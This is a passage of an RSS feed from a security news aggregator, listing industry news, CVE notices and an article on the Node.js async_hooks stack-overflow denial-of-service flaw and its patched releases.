<description><![CDATA[Puls brings strong track record of fueling growth through a customer-centric approach to the IT management and security firm]]></description>
<link>https://tsecurity.de/de/3260660/it-security-nachrichten/ivanti-appoints-melissa-puls-as-new-svp-and-cmo/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3260660/it-security-nachrichten/ivanti-appoints-melissa-puls-as-new-svp-and-cmo/</guid>
<pubDate>Fri, 06 Feb 2026 13:02:49 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Puls brings strong track record of fueling growth through a customer-centric approach to the IT management and security firm]]></content:encoded>
</item>
<item>
<title><![CDATA[Caren Havelock Joins SureCloud as New CMO]]></title>
<description><![CDATA[Havelock brings 21+ years of IT marketing experience to cybersecurity and risk management firm]]></description>
<link>https://tsecurity.de/de/3259882/it-security-nachrichten/caren-havelock-joins-surecloud-as-new-cmo/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3259882/it-security-nachrichten/caren-havelock-joins-surecloud-as-new-cmo/</guid>
<pubDate>Fri, 06 Feb 2026 12:54:20 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Havelock brings 21+ years of IT marketing experience to cybersecurity and risk management firm]]></content:encoded>
</item>
<item>
<title><![CDATA[Malicious npm Package Masquerades as Popular Email Library]]></title>
<description><![CDATA[A malicious npm package “nodejs-smtp” has been discovered impersonating nodemailer and injecting code to drain crypto wallets]]></description>
<link>https://tsecurity.de/de/3256961/it-security-nachrichten/malicious-npm-package-masquerades-as-popular-email-library/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3256961/it-security-nachrichten/malicious-npm-package-masquerades-as-popular-email-library/</guid>
<pubDate>Fri, 06 Feb 2026 11:36:38 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A malicious npm package “nodejs-smtp” has been discovered impersonating nodemailer and injecting code to drain crypto wallets]]></content:encoded>
</item>
<item>
<title><![CDATA[Are CIOs the new CEOs in the making?]]></title>
<description><![CDATA[We’ve already seen people like Tim Buckley, former Vanguard CEO, and Thaddeus Arroyo, former chief executive of AT&T’s business and consumer arms, ascend to the top from their CIO posts. But that trajectory may no longer be exceptional, with some experts positioning the CIO as the new CEO-in-wait...]]></description>
<link>https://tsecurity.de/de/3250076/it-security-nachrichten/are-cios-the-new-ceos-in-the-making/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3250076/it-security-nachrichten/are-cios-the-new-ceos-in-the-making/</guid>
<pubDate>Tue, 03 Feb 2026 11:06:12 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>We’ve already seen people like Tim Buckley, former Vanguard CEO, and Thaddeus Arroyo, former chief executive of AT&amp;T’s business and consumer arms, ascend to the top from their CIO posts. But that trajectory may no longer be exceptional, with some experts positioning the CIO as the new CEO-in-waiting.</p>



<p>“I don’t think it’s ever been a better time to be a CIO,” said Anjali Shaikh, Deloitte’s US tech C-suite programs leader, who’s been analyzing this space since 2009. “Technology fits a big part of how organizations are thinking about their revenue streams. CIOs today influence revenue, workforce strategy, operating models, and AI. Most importantly, they think about risk, which has really strong parallels to other C-suite members.”</p>



<p>Already, <a href="https://www.cio.com/article/4094675/67-of-cios-see-themselves-as-potential-ceos.html?utm=hybrid_search">two-thirds of CIOs see themselves as future CEOs</a>, according to Deloitte research. This potential goes beyond ambition, with CIOs being exposed to far-reaching responsibility. “CIOs are now expected to sit at the intersection of all of these areas, including execution, strategy, and culture,” said Shaikh. She adds that CIOs are now reporting directly to CEOs more than they did a decade ago, suggesting boards and CEOs increasingly view tech as a part of their core mandate.</p>



<p>Mudit Garg, CEO and founder of AI-powered hospital automation company Qventus, isn’t threatened by this notion. Instead, he recognizes that successful CIOs need to design strategy, make big, bold bets, and execute to success, much like successful CEOs. “CIOs are now expected to solve business problems, not just implement technology solutions,” he says.</p>



<p>And Jay Upchurch, CIO of data and AI solutions company SAS, is witnessing the role evolve in real time as organizational AI matures. “In the past, CIOs were involved just to see how things worked so we could automate the business,” he says. “Now, we’re being asked to learn how things work, and change the way the work is done.”</p>



<h2 class="wp-block-heading">When a CIO takes the driver’s seat</h2>



<p>A CEO with a CIO background provides their organization with a significant competitive advantage because they understand that operational excellence and technology strategy are inseparable, says Garg. “The real differentiator would be their approach to AI implementation, focusing on high-impact use cases that solve real operational problems while avoiding pilot purgatory,” he adds.</p>



<p>Despite the controversy around <a href="https://mlq.ai/media/quarterly_decks/v0.1_State_of_AI_in_Business_2025_Report.pdf" rel="nofollow">MIT’s 2025 report</a> citing that 95% of AI pilots fail, there’s evidence that organizations have some trouble getting real value out of their pilots. And only a <a href="https://www.deloitte.com/nl/en/about/press-room/state-of-ai-in-the-enterprise-2026.html" rel="nofollow">quarter of businesses</a> have advanced at least 40% of their AI pilots into production, says recent Deloitte research. So CIOs at the helm could create a sea change for entrenched tech innovation, says Garg.</p>



<p>While Shaikh says CIOs don’t necessarily pose any unique risks when propelled to chief executives, organizations should bear in mind overloading any one leader with too much responsibility. C-suites shouldn’t forget that organizational tech is complex and should be treated as such.</p>



<h2 class="wp-block-heading">What it takes to scale the heights</h2>



<p>“Excelling as a CIO doesn’t automatically prepare someone for the CEO role,” says Dusanka Delovska-Trajkova, CIO at DC-based retirement community and assisted living company Ingleside. “CEOs shape culture, build external trust and set direction with incomplete data. They craft and communicate a compelling narrative to employees, customers, investors and the board.”</p>



<p>Delovska-Trajkova adds that CIOs who aspire to the CEO position must reposition themselves to be visible and credible candidates in CEO searches. “This shift rarely happens in isolation and often requires deliberate support, particularly from boards,” she says. “It’s a leap that few make alone.”</p>



<p>CIO may already be an esteemed title, but for those looking to ascend further, Shaikh suggests thinking a little bit differently. “It’s about how to delegate effectively, how to partner, story tell, and translate those technology decisions into business outcomes,” she says. “What we’re seeing is CIOs and all their experience being the proving ground for enterprise leadership.”</p>



<p>This is true, she adds, even for companies outside the tech sector. “We’ve been slow to see that, over the years, CIOs are taking that leadership position in other sectors,” she says. “I see it now more and more.”</p>



<p>While others in the C-suite, like COOs who’ve embraced digital transformation, might also be in a good place to lead, Garg says the CIOs who successfully transition to CEO roles are those who’ve proven they can drive measurable business outcomes with clear ROI. “That discipline around accountability and results is exactly what boards are looking for,” he says.</p>



<p>For Upchurch, Shaikh’s point about partnership is key. He says effective CIOs lean on their fellow C-suites, asking questions like what your CTO can teach you about how customers are succeeding, and what you can learn from your CMO to inspire how you market incoming changes. This moment, he says, is an opportunity to enact real AI-savvy leadership.</p>



<p>All that said, Upchurch thinks it’s important to remember where you come from. Evolving as a CIO, he says, requires bold new approaches. “You may not sleep a lot, but it’s a gift to participate,” he says.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Critical sandbox escape flaw discovered in popular vm2 NodeJS library]]></title>
<description><![CDATA[A critical-severity vulnerability in the vm2 Node.js sandbox library, tracked as CVE-2026-22709, allows escaping the sandbox and executing arbitrary code on the underlying host system. [...]]]></description>
<link>https://tsecurity.de/de/3237642/it-security-nachrichten/critical-sandbox-escape-flaw-discovered-in-popular-vm2-nodejs-library/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3237642/it-security-nachrichten/critical-sandbox-escape-flaw-discovered-in-popular-vm2-nodejs-library/</guid>
<pubDate>Tue, 27 Jan 2026 17:51:13 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A critical-severity vulnerability in the vm2 Node.js sandbox library, tracked as CVE-2026-22709, allows escaping the sandbox and executing arbitrary code on the underlying host system. [...]]]></content:encoded>
</item>
<item>
<title><![CDATA[An Insane Timing Allowed Researchers To Take Over AWS Packages - Threat Wire]]></title>
<description><![CDATA[Author: Hak5 - Bewertung: 27x - Views:181 ⬇️ OPEN FOR LINKS TO ARTICLES TO LEARN MORE ⬇️


@endingwithali →
Twitch: https://twitch.tv/endingwithali
Twitter: https://twitter.com/endingwithali
YouTube: https://youtube.com/@endingwithali
Everywhere else: https://links.ali.dev

Want to work with Ali?...]]></description>
<link>https://tsecurity.de/de/3228658/it-security-video/an-insane-timing-allowed-researchers-to-take-over-aws-packages-threat-wire/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3228658/it-security-video/an-insane-timing-allowed-researchers-to-take-over-aws-packages-threat-wire/</guid>
<pubDate>Thu, 22 Jan 2026 17:32:18 +0100</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Hak5 - Bewertung: 27x - Views:181 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/ZrRfc3mbtt4?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>⬇️ OPEN FOR LINKS TO ARTICLES TO LEARN MORE ⬇️<br />
<br />
<br />
@endingwithali →<br />
Twitch: https://twitch.tv/endingwithali<br />
Twitter: https://twitter.com/endingwithali<br />
YouTube: https://youtube.com/@endingwithali<br />
Everywhere else: https://links.ali.dev<br />
<br />
Want to work with Ali? endingwithalicollabs@gmail.com<br />
<br />
[❗] Join the Patreon→ https://patreon.com/threatwire<br />
00:00  0 - Intro<br />
00:16 1 - Insane Timing Made AWS Vulnerable<br />
03:50 2 - N8N continues to get rocked<br />
05:11 3 - Mandiant’s new Rainbow Table<br />
06:44 4 - Node’s DOS Security Statement<br />
08:41 5 - Other Stories You Should Know<br />
09:03 6 - Outro<br />
<br />
LINKS<br />
🔗 Story 1: Insane Timing Made AWS Vulnerable<br />
https://docs.aws.amazon.com/whitepapers/latest/introduction-devops-aws/aws-codebuild.html<br />
https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild<br />
🔗 Story 2: N8N continues to get rocked<br />
https://thehackernews.com/2026/01/n8n-supply-chain-attack-abuses.html<br />
https://www.endorlabs.com/learn/n8mare-on-auth-street-supply-chain-attack-targets-n8n-ecosystem<br />
🔗 Story 3: Mandiant’s new Rainbow Table<br />
https://cloud.google.com/blog/topics/threat-intelligence/net-ntlmv1-deprecation-rainbow-tables/<br />
https://arstechnica.com/security/2026/01/mandiant-releases-rainbow-table-that-cracks-weak-admin-password-in-12-hours/<br />
https://calcomsoftware.com/ntlm-v1-and-v2-vs-kerberos/<br />
🔗 Story 4: Node’s DOS Security Statement<br />
https://thehackernews.com/2026/01/critical-nodejs-vulnerability-can-cause.html<br />
https://nodejs.org/en/blog/vulnerability/january-2026-dos-mitigation-async-hooks <br />
🔗 Story 5: Other Stories You Should Know<br />
https://botcrawl.com/microsoft-confirms-windows-11-shutdown-bug-after-january-update/<br />
https://arstechnica.com/security/2026/01/never-before-seen-linux-malware-is-far-more-advanced-than-typical/<br />
-----☆-----☆-----☆-----☆-----☆-----☆-----☆-----☆-----☆-----☆<br />
Our Site → https://www.hak5.org<br />
Shop →  http://hakshop.myshopify.com/<br />
Community → https://www.hak5.org/community<br />
Subscribe → https://www.youtube.com/user/Hak5Darren?sub_confirmation=1<br />
Support → https://www.patreon.com/threatwire<br />
Contact Us → http://www.twitter.com/hak5<br />
____________________________________________<br />
<br />
Founded in 2005, Hak5's mission is to advance the InfoSec industry. We do this through our award winning educational podcasts, leading pentest gear, and inclusive community – where all hackers belong.<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Monday]]></title>
<description><![CDATA[Security updates have been issued by AlmaLinux (cups, libpq, libsoup3, podman, and postgresql16), Debian (ffmpeg, gpsd, python-urllib3, and thunderbird), Fedora (chromium, foomuuri, forgejo, freerdp, harfbuzz, libtpms, musescore, python-biopython, and python3.12), Mageia (gimp, libpng, nodejs, an...]]></description>
<link>https://tsecurity.de/de/3221539/linux-tipps/security-updates-for-monday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3221539/linux-tipps/security-updates-for-monday/</guid>
<pubDate>Mon, 19 Jan 2026 15:07:32 +0100</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>AlmaLinux</b> (cups, libpq, libsoup3, podman, and postgresql16), <b>Debian</b> (ffmpeg, gpsd, python-urllib3, and thunderbird), <b>Fedora</b> (chromium, foomuuri, forgejo, freerdp, harfbuzz, libtpms, musescore, python-biopython, and python3.12), <b>Mageia</b> (gimp, libpng, nodejs, and python-urllib3), and <b>SUSE</b> (alloy, avahi, bind, chromedriver, chromium, cpp-httplib, docker, erlang, fluidsynth, freerdp, go-sendxmpp, govulncheck-vulndb, kernel, libwireshark19, NetworkManager-applet-l2tp, python, python311-virtualenv, thunderbird, and zk).]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-22036 | nodejs undici up to 6.22.x/7.18.1 allocation of resources (GHSA-g9mf-h72j-4rw9 / EUVD-2026-2422)]]></title>
<description><![CDATA[A vulnerability categorized as problematic has been discovered in nodejs undici up to 6.22.x/7.18.1. This vulnerability affects unknown code. Executing a manipulation can lead to allocation of resources.

This vulnerability is handled as CVE-2026-22036. The attack can be executed remotely. There ...]]></description>
<link>https://tsecurity.de/de/3213744/sicherheitsluecken/cve-2026-22036-nodejs-undici-up-to-622x7181-allocation-of-resources-ghsa-g9mf-h72j-4rw9-euvd-2026-2422/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3213744/sicherheitsluecken/cve-2026-22036-nodejs-undici-up-to-622x7181-allocation-of-resources-ghsa-g9mf-h72j-4rw9-euvd-2026-2422/</guid>
<pubDate>Thu, 15 Jan 2026 00:05:29 +0100</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability categorized as <a href="https://vuldb.com/?kb.risk">problematic</a> has been discovered in <a href="https://vuldb.com/?product.nodejs:undici">nodejs undici up to 6.22.x/7.18.1</a>. This vulnerability affects unknown code. Executing a manipulation can lead to allocation of resources.

This vulnerability is handled as <a href="https://vuldb.com/?source_cve.341147">CVE-2026-22036</a>. The attack can be executed remotely. There is not any exploit available.

It is advisable to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[Node.js Fixes Critical DoS Flaw That Could Crash “Virtually Every Production App”]]></title>
<description><![CDATA[Node.js Fixes Critical DoS Flaw That Could Crash “Virtually Every Production App”
				
				
			
			
				
				
				
				
			
				
				
				
				
				
				
				
				
				
				
				
				 Post Views: 3
			
			
				
				
				
				
				



			
			
				
				
				
				
			
				
				
				
				
				
				...]]></description>
<link>https://tsecurity.de/de/3212348/it-security-nachrichten/nodejs-fixes-critical-dos-flaw-that-could-crash-virtually-every-production-app/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3212348/it-security-nachrichten/nodejs-fixes-critical-dos-flaw-that-could-crash-virtually-every-production-app/</guid>
<pubDate>Wed, 14 Jan 2026 12:05:58 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="et_pb_section et_pb_section_0 et_section_specialty">
				
				
				
				
				
				<div class="et_pb_row">
				<div class="et_pb_column et_pb_column_3_4 et_pb_column_0   et_pb_specialty_column  et_pb_css_mix_blend_mode_passthrough">
				
				
				
				
				<div class="et_pb_row_inner et_pb_row_inner_0">
				<div class="et_pb_column et_pb_column_4_4 et_pb_column_inner et_pb_column_inner_0 et-last-child">
				
				
				
				
				<div class="et_pb_module et_pb_post_title et_pb_post_title_0 et_pb_bg_layout_light  et_pb_text_align_left">
				
				
				
				
				
				<div class="et_pb_title_container">
					<h1 class="entry-title">Node.js Fixes Critical DoS Flaw That Could Crash “Virtually Every Production App”</h1>
				</div>
				
			</div>
			</div>
				
				
				
				
			</div><div class="et_pb_row_inner et_pb_row_inner_1">
				<div class="et_pb_column et_pb_column_4_4 et_pb_column_inner et_pb_column_inner_1 et-last-child">
				
				
				
				
				<div class="et_pb_module et_pb_text et_pb_text_0  et_pb_text_align_left et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_text_inner"><p><strong><div class="post-views content-post post-286904 entry-meta load-static">
				<span class="post-views-icon dashicons dashicons-chart-bar"></span> <span class="post-views-label">Post Views:</span> <span class="post-views-count">3</span>
			</div></strong></p></div>
			</div><div class="et_pb_module et_pb_text et_pb_text_1  et_pb_text_align_left et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_text_inner"><br>
<!-- News_Horizontal_smaller --><br>
<ins class="adsbygoogle" data-ad-client="ca-pub-6620833063853657" data-ad-slot="8337846400"></ins><br>
</div>
			</div>
			</div>
				
				
				
				
			</div><div class="et_pb_row_inner et_pb_row_inner_2 patreon-row">
				<div class="et_pb_column et_pb_column_4_4 et_pb_column_inner et_pb_column_inner_2 et-last-child">
				
				
				
				
				<div class="et_pb_module et_pb_text et_pb_text_2  et_pb_text_align_left et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_text_inner"><h3 class="premium-content">Join our <a class="green_color" href="https://www.patreon.com/posts/maximizing-your-87671900" target="_blank" rel="noopener sponsored">Patreon</a> Channel and Gain access to 70+ Exclusive Walkthrough Videos.</h3></div>
			</div><div class="et_pb_module et_pb_image et_pb_image_0">
				
				
				
				
				<a href="https://www.patreon.com/posts/create-evasive-111421720" target="_blank"><span class="et_pb_image_wrap "><img fetchpriority="high" decoding="async" width="800" height="120" src="https://www.blackhatethicalhacking.com/wp-content/uploads/2025/02/Patreon-2.png" alt="Patreon" title="Patreon" srcset="https://www.blackhatethicalhacking.com/wp-content/uploads/2025/02/Patreon-2.png 800w, https://www.blackhatethicalhacking.com/wp-content/uploads/2025/02/Patreon-2-480x72.png 480w" sizes="(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) 800px, 100vw" class="wp-image-282931"></span></a>
			</div><div class="et_pb_module et_pb_divider et_pb_divider_0 et_pb_divider_position_ et_pb_space"><div class="et_pb_divider_internal"></div></div>
			</div>
				
				
				
				
			</div><div class="et_pb_row_inner et_pb_row_inner_3">
				<div class="et_pb_column et_pb_column_4_4 et_pb_column_inner et_pb_column_inner_3 et-last-child">
				
				
				
				
				<div class="et_pb_module et_pb_text et_pb_text_3  et_pb_text_align_left et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_text_inner">Reading Time: 3 Minutes</div>
			</div>
			</div>
				
				
				
				
			</div><div class="et_pb_row_inner et_pb_row_inner_4">
				<div class="et_pb_column et_pb_column_4_4 et_pb_column_inner et_pb_column_inner_4 et-last-child">
				
				
				
				
				<div class="et_pb_module et_pb_text et_pb_text_4  et_pb_text_align_left et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_text_inner"><h2 data-start="560" data-end="603"><strong>Critical Flaw With Ecosystem-Wide Impact</strong></h2>
<p data-start="605" data-end="820">The Node.js project has released <strong data-start="638" data-end="658">security updates</strong> to address a critical issue that could cause <strong data-start="704" data-end="731">denial-of-service (DoS)</strong> conditions in what maintainers describe as <strong data-start="775" data-end="820">“virtually every production Node.js app.”</strong></p>
<p data-start="822" data-end="1184">The flaw, tracked as <strong data-start="843" data-end="861">CVE-2025-59466</strong> (CVSS score: <strong data-start="875" data-end="882">7.5</strong>), affects how Node.js handles <strong data-start="913" data-end="939">stack space exhaustion</strong> when the low-level <strong data-start="959" data-end="976"><code data-start="961" data-end="974">async_hooks</code></strong> API is enabled. Under specific conditions, the bug causes Node.js to <strong data-start="1046" data-end="1068">terminate abruptly</strong> instead of throwing a recoverable exception, allowing attackers to crash applications by triggering deep recursion.</p>
<hr data-start="1186" data-end="1189">
<h2 data-start="1191" data-end="1247"><strong>Root Cause: Stack Overflow + async_hooks = Hard Crash</strong></h2>
<p data-start="1249" data-end="1408">Node.js normally attempts to recover gracefully from stack overflows by throwing a <strong data-start="1332" data-end="1351">catchable error</strong>, which many frameworks rely on to maintain availability.</p>
<p data-start="1410" data-end="1556">However, maintainers <strong data-start="1431" data-end="1449">Matteo Collina</strong> and <strong data-start="1454" data-end="1470">Joyee Cheung</strong> <a href="https://nodejs.org/en/blog/vulnerability/january-2026-dos-mitigation-async-hooks" target="_blank" rel="noopener">explained</a> that a long-standing bug breaks this behavior when <code data-start="1532" data-end="1545">async_hooks</code> is in use:</p>
<blockquote data-start="1558" data-end="1685">
<p data-start="1560" data-end="1685">“Node.js exits with code 7 directly without throwing a catchable error when recursions in user code exhaust the stack space.”</p>
</blockquote>
<p data-start="1687" data-end="1811">Exit code <strong data-start="1697" data-end="1702">7</strong> corresponds to an <em data-start="1721" data-end="1766">Internal Exception Handler Run-Time Failure</em>, meaning the process terminates immediately.</p>
<p data-start="1813" data-end="1953">This becomes dangerous when recursion depth is influenced by <strong data-start="1874" data-end="1900">unsanitized user input</strong>, allowing attackers to intentionally crash services.</p></div>
			</div><div class="et_pb_module et_pb_text et_pb_text_5 see-also-text  et_pb_text_align_left et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_text_inner"><strong>See Also: So, you want to be a hacker?<br>
</strong><strong><a href="https://www.blackhatethicalhacking.com/courses/" target="_blank" rel="noopener noreferrer">Offensive Security, Bug Bounty Courses</a></strong></div>
			</div><div class="et_pb_module et_pb_text et_pb_text_6  et_pb_text_align_left et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_text_inner"><br>
<!-- News_Horizontal_smaller --><br>
<ins class="adsbygoogle" data-ad-client="ca-pub-6620833063853657" data-ad-slot="8337846400"></ins><br>
</div>
			</div><div class="et_pb_module et_pb_text et_pb_text_7  et_pb_text_align_left et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_text_inner"><h4><span><strong>Discover your weakest link. Be proactive, not reactive. Cybercriminals need just one flaw to strike.</strong></span></h4>
<p><a href="https://www.blackhatethicalhacking.com/solutions/"><img decoding="async" class="alignnone wp-image-276050 size-full" src="https://www.blackhatethicalhacking.com/wp-content/uploads/2023/11/Solutions.png" alt="" width="800" height="120" srcset="https://www.blackhatethicalhacking.com/wp-content/uploads/2023/11/Solutions.png 800w, https://www.blackhatethicalhacking.com/wp-content/uploads/2023/11/Solutions-480x72.png 480w" sizes="(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) 800px, 100vw"></a></p></div>
			</div><div class="et_pb_module et_pb_text et_pb_text_8  et_pb_text_align_left et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_text_inner"><h2 data-start="1960" data-end="1992"><strong>Why So Many Apps Are Affected</strong></h2>
<p data-start="1994" data-end="2139">The issue has far-reaching consequences because <strong data-start="2042" data-end="2087"><code data-start="2044" data-end="2057">async_hooks</code> underpins <a href="https://nodejs.org/api/async_context.html" target="_blank" rel="noopener">AsyncLocalStorage</a></strong>, which is widely used across the Node.js ecosystem.</p>
<p data-start="2141" data-end="2226">As a result, many popular frameworks and observability tools are impacted, including:</p>
<ul>
<li data-start="2230" data-end="2257"><strong data-start="2230" data-end="2257">React Server Components</strong></li>
<li data-start="2260" data-end="2271"><strong data-start="2260" data-end="2271">Next.js</strong></li>
<li data-start="2274" data-end="2285"><strong data-start="2274" data-end="2285">Datadog</strong></li>
<li data-start="2288" data-end="2301"><strong data-start="2288" data-end="2301">New Relic</strong></li>
<li data-start="2304" data-end="2317"><strong data-start="2304" data-end="2317">Dynatrace</strong></li>
<li data-start="2320" data-end="2335"><strong data-start="2320" data-end="2335">Elastic APM</strong></li>
<li data-start="2338" data-end="2355"><strong data-start="2338" data-end="2355">OpenTelemetry</strong></li>
</ul>
<p data-start="2357" data-end="2502">Any application or dependency that relies on AsyncLocalStorage for request tracing, context propagation, or monitoring is potentially vulnerable.</p>
<hr data-start="2504" data-end="2507">
<h2 data-start="2509" data-end="2534"><strong>Fixed Node.js Versions</strong></h2>
<p data-start="2536" data-end="2590">The flaw has been <a href="https://github.com/nodejs/node/releases/tag/v25.3.0" target="_blank" rel="noopener">addressed</a> in the following releases:</p>
<ul>
<li data-start="2594" data-end="2621"><strong data-start="2594" data-end="2619">Node.js 20.20.0 (LTS)</strong></li>
<li data-start="2624" data-end="2651"><strong data-start="2624" data-end="2649">Node.js 22.22.0 (LTS)</strong></li>
<li data-start="2654" data-end="2681"><strong data-start="2654" data-end="2679">Node.js 24.13.0 (LTS)</strong></li>
<li data-start="2684" data-end="2714"><strong data-start="2684" data-end="2712">Node.js 25.3.0 (Current)</strong></li>
</ul>
<p data-start="2716" data-end="2864">The fix ensures that <strong data-start="2737" data-end="2789">stack overflow errors are re-thrown to user code</strong>, restoring predictable error handling instead of triggering a fatal crash.</p>
<hr data-start="2866" data-end="2869">
<h2 data-start="2871" data-end="2906"><strong>Older Versions Remain Vulnerable</strong></h2>
<p data-start="2908" data-end="3037">The issue affects <strong data-start="2926" data-end="2972">all Node.js versions from 8.x through 18.x</strong>, dating back to <strong data-start="2989" data-end="3015">Node.js 8.0.0 (Carbon)</strong> released in May 2017.</p>
<p data-start="3039" data-end="3171">However, these versions <strong data-start="3063" data-end="3083">remain unpatched</strong> because they have reached <strong data-start="3110" data-end="3131">end-of-life (EoL)</strong> and no longer receive security updates.</p>
<p data-start="3173" data-end="3283">Organizations still running legacy Node.js versions are therefore <strong data-start="3239" data-end="3262">permanently exposed</strong> unless they upgrade.</p></div>
			</div><div class="et_pb_module et_pb_text et_pb_text_9 see-also-text  et_pb_text_align_left et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_text_inner"><p><strong>Trending: <a href="https://www.blackhatethicalhacking.com/articles/network-eavesdropping-via-man-in-the-middle-on-internal-communications/" target="_blank" rel="noopener noreferrer">Network Eavesdropping via Man-in-the-Middle on Internal Communications<br>
</a></strong></p></div>
			</div><div class="et_pb_module et_pb_text et_pb_text_10  et_pb_text_align_left et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_text_inner"><br>
<!-- News Adsense Adcode Horizontal --><br>
<ins class="adsbygoogle" data-ad-client="ca-pub-6620833063853657" data-ad-slot="8337846400"></ins><br>
</div>
			</div><div class="et_pb_module et_pb_text et_pb_text_11 see-also-text  et_pb_text_align_left et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_text_inner"><p><strong>Trending: <a href="https://www.blackhatethicalhacking.com/tools/evilwaf-web-application-firewall-bypass-toolkit/" target="_blank" rel="noopener">Offensive Security Tool: EvilWAF – Web Application Firewall Bypass Toolkit<br>
</a></strong></p></div>
			</div><div class="et_pb_module et_pb_text et_pb_text_12  et_pb_text_align_left et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_text_inner"><div class="pt-0">
<div class="gizmo-bot-avatar flex h-8 w-8 items-center justify-center overflow-hidden rounded-full">
<div class="relative p-1 rounded-sm flex items-center justify-center bg-token-main-surface-primary text-token-text-primary h-8 w-8">
<div class="flex-shrink-0 flex flex-col relative items-end">
<div class="pt-0">
<div class="gizmo-bot-avatar flex h-8 w-8 items-center justify-center overflow-hidden rounded-full">
<div class="relative p-1 rounded-sm flex items-center justify-center bg-token-main-surface-primary text-token-text-primary h-8 w-8">
<div class="flex-shrink-0 flex flex-col relative items-end">
<div class="pt-0">
<div class="gizmo-bot-avatar flex h-8 w-8 items-center justify-center overflow-hidden rounded-full">
<div class="relative p-1 rounded-sm flex items-center justify-center bg-token-main-surface-primary text-token-text-primary h-8 w-8">
<div class="pt-0">
<div class="gizmo-bot-avatar flex h-8 w-8 items-center justify-center overflow-hidden rounded-full">
<div class="relative p-1 rounded-sm flex items-center justify-center bg-token-main-surface-primary text-token-text-primary h-8 w-8">
<div class="flex-shrink-0 flex flex-col relative items-end">
<div class="pt-0">
<div class="gizmo-bot-avatar flex h-8 w-8 items-center justify-center overflow-hidden rounded-full">
<div class="relative p-1 rounded-sm flex items-center justify-center bg-token-main-surface-primary text-token-text-primary h-8 w-8">
<div class="flex-shrink-0 flex flex-col relative items-end">
<div class="pt-0">
<div class="gizmo-bot-avatar flex h-8 w-8 items-center justify-center overflow-hidden rounded-full">
<div class="relative p-1 rounded-sm flex items-center justify-center bg-token-main-surface-primary text-token-text-primary h-8 w-8">
<h2 data-start="3290" data-end="3346"><strong>Why Node.js Calls This a “Mitigation,” Not a Full Fix</strong></h2>
<p data-start="3348" data-end="3485">Despite its impact, the Node.js team classified the change as a <strong data-start="3412" data-end="3426">mitigation</strong> rather than a strict security fix, citing several reasons:</p>
<ul>
<li data-start="3489" data-end="3562">Stack space exhaustion is <strong data-start="3515" data-end="3562">not defined in the ECMAScript specification</strong></li>
<li data-start="3565" data-end="3620">The <strong data-start="3569" data-end="3620">V8 engine does not consider it a security issue</strong></li>
<li data-start="3623" data-end="3728">Limitations exist with the <code data-start="3650" data-end="3669">uncaughtException</code> handler, which is intended only as a last-resort mechanism</li>
</ul>
<p data-start="3730" data-end="3786">Still, Node.js acknowledged the real-world consequences:</p>
<blockquote data-start="3788" data-end="3970">
<p data-start="3790" data-end="3970">“We chose to include it in the security release because of its widespread impact on the ecosystem. The fix improves developer experience and makes error handling more predictable.”</p>
</blockquote>
<hr data-start="3972" data-end="3975">
<h2 data-start="3977" data-end="4019"><strong>Additional High-Severity Fixes Released</strong></h2>
<p data-start="4021" data-end="4114">Alongside CVE-2025-59466, Node.js also <a href="https://nodejs.org/en/blog/vulnerability/december-2025-security-releases" target="_blank" rel="noopener">patched</a> three other <strong data-start="4080" data-end="4113">high-severity vulnerabilities</strong>:</p>
<ul>
